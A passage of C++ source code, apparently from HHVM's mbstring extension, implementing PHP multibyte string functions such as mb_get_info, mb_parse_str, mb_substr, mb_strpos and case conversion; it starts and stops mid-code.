"\r\n" */, int indent /* = 0 */) { const String charset = convertArg(opt_charset); const String transfer_encoding = convertArg(opt_transfer_encoding); mbfl_no_encoding charsetenc, transenc; mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); charsetenc = mbfl_no_encoding_pass; transenc = mbfl_no_encoding_base64; if (!charset.empty()) { charsetenc = mbfl_name2no_encoding(charset.data()); if (charsetenc == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", charset.data()); return false; } } else { const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { charsetenc = lang->mail_charset; transenc = lang->mail_header_encoding; } } if (!transfer_encoding.empty()) { char ch = *transfer_encoding.data(); if (ch == 'B' || ch == 'b') { transenc = mbfl_no_encoding_base64; } else if (ch == 'Q' || ch == 'q') { transenc = mbfl_no_encoding_qprint; } } mbfl_string_init(&result); ret = mbfl_mime_header_encode(&string, &result, charsetenc, transenc, linefeed.data(), indent); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_encode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding /* = null_variant */, bool is_hex /* = false */) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, is_hex, 0); } const StaticString s_internal_encoding("internal_encoding"), s_http_input("http_input"), s_http_output("http_output"), s_mail_charset("mail_charset"), s_mail_header_encoding("mail_header_encoding"), s_mail_body_encoding("mail_body_encoding"), s_illegal_chars("illegal_chars"), s_encoding_translation("encoding_translation"), s_On("On"), s_Off("Off"), s_language("language"), s_detect_order("detect_order"), s_substitute_character("substitute_character"), s_strict_detection("strict_detection"), s_none("none"), s_long("long"), s_entity("entity"); Variant HHVM_FUNCTION(mb_get_info, const Variant& opt_type) { const String type = convertArg(opt_type); const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); mbfl_encoding **entry; int n; char *name; if (type.empty() || strcasecmp(type.data(), "all") == 0) { Array ret; if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *) MBSTRG(current_internal_encoding)->name) != nullptr) { ret.set(s_internal_encoding, String(name, CopyString)); } if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { ret.set(s_http_input, String(name, CopyString)); } if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { ret.set(s_http_output, String(name, CopyString)); } if (lang != nullptr) { if ((name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { ret.set(s_mail_charset, String(name, CopyString)); } if ((name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { ret.set(s_mail_header_encoding, String(name, CopyString)); } if ((name = (char *)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { ret.set(s_mail_body_encoding, String(name, CopyString)); } } ret.set(s_illegal_chars, MBSTRG(illegalchars)); ret.set(s_encoding_translation, MBSTRG(encoding_translation) ? s_On : s_Off); if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { ret.set(s_language, String(name, CopyString)); } n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array row; while (n > 0) { if ((name = (char *)(*entry)->name) != nullptr) { row.append(String(name, CopyString)); } entry++; n--; } ret.set(s_detect_order, row); } switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: ret.set(s_substitute_character, s_none); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: ret.set(s_substitute_character, s_long); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: ret.set(s_substitute_character, s_entity); break; default: ret.set(s_substitute_character, MBSTRG(current_filter_illegal_substchar)); } ret.set(s_strict_detection, MBSTRG(strict_detection) ? s_On : s_Off); return ret; } else if (strcasecmp(type.data(), "internal_encoding") == 0) { if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *)MBSTRG(current_internal_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_input") == 0) { if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_output") == 0) { if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_charset") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_header_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_body_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "illegal_chars") == 0) { return MBSTRG(illegalchars); } else if (strcasecmp(type.data(), "encoding_translation") == 0) { return MBSTRG(encoding_translation) ? "On" : "Off"; } else if (strcasecmp(type.data(), "language") == 0) { if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "detect_order") == 0) { n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array ret; while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } } } else if (strcasecmp(type.data(), "substitute_character") == 0) { if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE) { return s_none; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG) { return s_long; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY) { return s_entity; } else { return MBSTRG(current_filter_illegal_substchar); } } else if (strcasecmp(type.data(), "strict_detection") == 0) { return MBSTRG(strict_detection) ? s_On : s_Off; } return false; } Variant HHVM_FUNCTION(mb_http_input, const Variant& opt_type) { const String type = convertArg(opt_type); int n; char *name; mbfl_encoding **entry; mbfl_encoding *result = nullptr; if (type.empty()) { result = MBSTRG(http_input_identify); } else { switch (*type.data()) { case 'G': case 'g': result = MBSTRG(http_input_identify_get); break; case 'P': case 'p': result = MBSTRG(http_input_identify_post); break; case 'C': case 'c': result = MBSTRG(http_input_identify_cookie); break; case 'S': case 's': result = MBSTRG(http_input_identify_string); break; case 'I': case 'i': { Array ret; entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } case 'L': case 'l': { entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); StringBuffer list; while (n > 0) { name = (char *)(*entry)->name; if (name) { if (list.empty()) { list.append(name); } else { list.append(','); list.append(name); } } entry++; n--; } if (list.empty()) { return false; } return list.detach(); } default: result = MBSTRG(http_input_identify); break; } } if (result != nullptr && (name = (char *)(result)->name) != nullptr) { return String(name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_http_output, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_http_output_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_http_output_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_internal_encoding, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_internal_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_internal_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_language, const Variant& opt_language) { const String language = convertArg(opt_language); if (language.empty()) { return String(mbfl_no_language2name(MBSTRG(current_language)), CopyString); } mbfl_no_language no_language = mbfl_name2no_language(language.data()); if (no_language == mbfl_no_language_invalid) { raise_warning("Unknown language \"%s\"", language.data()); return false; } php_mb_nls_get_default_detect_order_list (no_language, &MBSTRG(default_detect_order_list), &MBSTRG(default_detect_order_list_size)); MBSTRG(current_language) = no_language; return true; } String HHVM_FUNCTION(mb_output_handler, const String& contents, int status) { mbfl_string string, result; int last_feed; mbfl_encoding *encoding = MBSTRG(current_http_output_encoding); /* start phase only */ if (status & k_PHP_OUTPUT_HANDLER_START) { /* delete the converter just in case. */ if (MBSTRG(outconv)) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } if (encoding == nullptr) { return contents; } /* analyze mime type */ String mimetype = g_context->getMimeType(); if (!mimetype.empty()) { const char *charset = encoding->mime_name; if (charset) { g_context->setContentType(mimetype, charset); } /* activate the converter */ MBSTRG(outconv) = mbfl_buffer_converter_new2 (MBSTRG(current_internal_encoding), encoding, 0); } } /* just return if the converter is not activated. */ if (MBSTRG(outconv) == nullptr) { return contents; } /* flag */ last_feed = ((status & k_PHP_OUTPUT_HANDLER_END) != 0); /* mode */ mbfl_buffer_converter_illegal_mode (MBSTRG(outconv), MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (MBSTRG(outconv), MBSTRG(current_filter_illegal_substchar)); /* feed the string */ mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)contents.data(); string.len = contents.size(); mbfl_buffer_converter_feed(MBSTRG(outconv), &string); if (last_feed) { mbfl_buffer_converter_flush(MBSTRG(outconv)); } /* get the converter output, and return it */ mbfl_buffer_converter_result(MBSTRG(outconv), &result); /* delete the converter if it is the last feed. */ if (last_feed) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } return String(reinterpret_cast<char*>(result.val), result.len, AttachString); } typedef struct _php_mb_encoding_handler_info_t { int data_type; const char *separator; unsigned int force_register_globals: 1; unsigned int report_errors: 1; enum mbfl_no_language to_language; mbfl_encoding *to_encoding; enum mbfl_no_language from_language; int num_from_encodings; mbfl_encoding **from_encodings; } php_mb_encoding_handler_info_t; static mbfl_encoding* _php_mb_encoding_handler_ex (const php_mb_encoding_handler_info_t *info, Array& arg, char *res) { char *var, *val; const char *s1, *s2; char *strtok_buf = nullptr, **val_list = nullptr; int n, num, *len_list = nullptr; unsigned int val_len; mbfl_string string, resvar, resval; mbfl_encoding *from_encoding = nullptr; mbfl_encoding_detector *identd = nullptr; mbfl_buffer_converter *convd = nullptr; mbfl_string_init_set(&string, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resvar, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resval, info->to_language, info->to_encoding->no_encoding); if (!res || *res == '\0') { goto out; } /* count the variables(separators) contained in the "res". * separator may contain multiple separator chars. */ num = 1; for (s1=res; *s1 != '\0'; s1++) { for (s2=info->separator; *s2 != '\0'; s2++) { if (*s1 == *s2) { num++; } } } num *= 2; /* need space for variable name and value */ val_list = (char **)calloc(num, sizeof(char *)); len_list = (int *)calloc(num, sizeof(int)); /* split and decode the query */ n = 0; strtok_buf = nullptr; var = strtok_r(res, info->separator, &strtok_buf); while (var) { val = strchr(var, '='); if (val) { /* have a value */ len_list[n] = url_decode_ex(var, val-var); val_list[n] = var; n++; *val++ = '\0'; val_list[n] = val; len_list[n] = url_decode_ex(val, strlen(val)); } else { len_list[n] = url_decode_ex(var, strlen(var)); val_list[n] = var; n++; val_list[n] = const_cast<char*>(""); len_list[n] = 0; } n++; var = strtok_r(nullptr, info->separator, &strtok_buf); } num = n; /* make sure to process initilized vars only */ /* initialize converter */ if (info->num_from_encodings <= 0) { from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (info->num_from_encodings == 1) { from_encoding = info->from_encodings[0]; } else { /* auto detect */ from_encoding = nullptr; identd = mbfl_encoding_detector_new ((enum mbfl_no_encoding *)info->from_encodings, info->num_from_encodings, MBSTRG(strict_detection)); if (identd) { n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (mbfl_encoding_detector_feed(identd, &string)) { break; } n++; } from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (from_encoding == nullptr) { if (info->report_errors) { raise_warning("Unable to detect encoding"); } from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } convd = nullptr; if (from_encoding != (mbfl_encoding*) &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(from_encoding, info->to_encoding, 0); if (convd != nullptr) { mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } else { if (info->report_errors) { raise_warning("Unable to create converter"); } goto out; } } /* convert encoding */ string.no_encoding = from_encoding->no_encoding; n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resvar) != nullptr) { var = (char *)resvar.val; } else { var = val_list[n]; } n++; string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resval) != nullptr) { val = (char *)resval.val; val_len = resval.len; } else { val = val_list[n]; val_len = len_list[n]; } n++; arg.set(String(var, CopyString), String(val, val_len, CopyString)); if (convd != nullptr) { mbfl_string_clear(&resvar); mbfl_string_clear(&resval); } } out: if (convd != nullptr) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (val_list != nullptr) { free((void *)val_list); } if (len_list != nullptr) { free((void *)len_list); } return from_encoding; } bool HHVM_FUNCTION(mb_parse_str, const String& encoded_string, VRefParam result /* = null */) { php_mb_encoding_handler_info_t info; info.data_type = PARSE_STRING; info.separator = ";&"; info.force_register_globals = false; info.report_errors = 1; info.to_encoding = MBSTRG(current_internal_encoding); info.to_language = MBSTRG(current_language); info.from_encodings = MBSTRG(http_input_list); info.num_from_encodings = MBSTRG(http_input_list_size); info.from_language = MBSTRG(current_language); char *encstr = req::strndup(encoded_string.data(), encoded_string.size()); Array resultArr = Array::Create(); mbfl_encoding *detected = _php_mb_encoding_handler_ex(&info, resultArr, encstr); req::free(encstr); result.assignIfRef(resultArr); MBSTRG(http_input_identify) = detected; return detected != nullptr; } Variant HHVM_FUNCTION(mb_preferred_mime_name, const String& encoding) { mbfl_no_encoding no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } const char *preferred_name = mbfl_no2preferred_mime_name(no_encoding); if (preferred_name == nullptr || *preferred_name == '\0') { raise_warning("No MIME preferred name corresponding to \"%s\"", encoding.data()); return false; } return String(preferred_name, CopyString); } static Variant php_mb_substr(const String& str, int from, const Variant& vlen, const String& encoding, bool substr) { mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int len = vlen.toInt64(); int size = 0; if (substr) { int size_tmp = -1; if (vlen.isNull() || len == 0x7FFFFFFF) { size_tmp = mbfl_strlen(&string); len = size_tmp; } if (from < 0 || len < 0) { size = size_tmp < 0 ? mbfl_strlen(&string) : size_tmp; } } else { size = str.size(); if (vlen.isNull() || len == 0x7FFFFFFF) { len = size; } } /* if "from" position is negative, count start position from the end * of the string */ if (from < 0) { from = size + from; if (from < 0) { from = 0; } } /* if "length" position is negative, set it to the length * needed to stop that many chars from the end of the string */ if (len < 0) { len = (size - from) + len; if (len < 0) { len = 0; } } if (!substr && from > size) { return false; } mbfl_string result; mbfl_string *ret; if (substr) { ret = mbfl_substr(&string, &result, from, len); } else { ret = mbfl_strcut(&string, &result, from, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_substr, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, true); } Variant HHVM_FUNCTION(mb_strcut, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, false); } Variant HHVM_FUNCTION(mb_strimwidth, const String& str, int start, int width, const Variant& opt_trimmarker, const Variant& opt_encoding) { const String trimmarker = convertArg(opt_trimmarker); const String encoding = convertArg(opt_encoding); mbfl_string string, result, marker, *ret; mbfl_string_init(&string); mbfl_string_init(&marker); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.no_language = MBSTRG(current_language); marker.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.val = nullptr; marker.len = 0; if (!encoding.empty()) { string.no_encoding = marker.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } string.val = (unsigned char *)str.data(); string.len = str.size(); if (start < 0 || start > str.size()) { raise_warning("Start position is out of reange"); return false; } if (width < 0) { raise_warning("Width is negative value"); return false; } marker.val = (unsigned char *)trimmarker.data(); marker.len = trimmarker.size(); ret = mbfl_strimwidth(&string, &marker, &result, start, width); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_stripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } if (needle.empty()) { raise_warning("Empty delimiter"); return false; } int n = php_mb_stripos(0, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } int n = php_mb_stripos(1, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_stristr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!mbs_needle.len) { raise_warning("Empty delimiter."); return false; } const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(0, (const char*)mbs_haystack.val, mbs_haystack.len, (const char *)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } int mblen = mbfl_strlen(&mbs_haystack); mbfl_string result, *ret = nullptr; if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strlen, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.val = (unsigned char *)str.data(); string.len = str.size(); string.no_language = MBSTRG(current_language); if (encoding.empty()) { string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; } else { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strlen(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strpos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (offset < 0 || offset > mbfl_strlen(&mbs_haystack)) { raise_warning("Offset not contained in string."); return false; } if (mbs_needle.len == 0) { raise_warning("Empty delimiter."); return false; } int reverse = 0; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, offset, reverse); if (n >= 0) { return n; } switch (-n) { case 1: break; case 2: raise_warning("Needle has not positive length."); break; case 4: raise_warning("Unknown encoding or conversion error."); break; case 8: raise_warning("Argument is empty."); break; default: raise_warning("Unknown error in mb_strpos."); break; } return false; } Variant HHVM_FUNCTION(mb_strrpos, const String& haystack, const String& needle, const Variant& offset /* = 0LL */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); const char *enc_name = encoding.data(); long noffset = 0; String soffset = offset.toString(); if (offset.isString()) { enc_name = soffset.data(); int str_flg = 1; if (enc_name != nullptr) { switch (*enc_name) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ' ': case '-': case '.': break; default : str_flg = 0; break; } } if (str_flg) { noffset = offset.toInt32(); enc_name = encoding.data(); } } else { noffset = offset.toInt32(); } if (!enc_name && !*enc_name) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(enc_name); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", enc_name); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } if ((noffset > 0 && noffset > mbfl_strlen(&mbs_haystack)) || (noffset < 0 && -noffset > mbfl_strlen(&mbs_haystack))) { raise_notice("Offset is greater than the length of haystack string"); return false; } int n = mbfl_strpos(&mbs_haystack, &mbs_needle, noffset, 1); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strrchr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 1); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strrichr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(1, (const char*)mbs_haystack.val, mbs_haystack.len, (const char*)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } mbfl_string result, *ret = nullptr; int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strstr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty delimiter."); return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 0); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strtolower, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_LOWER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strtoupper, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_UPPER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return 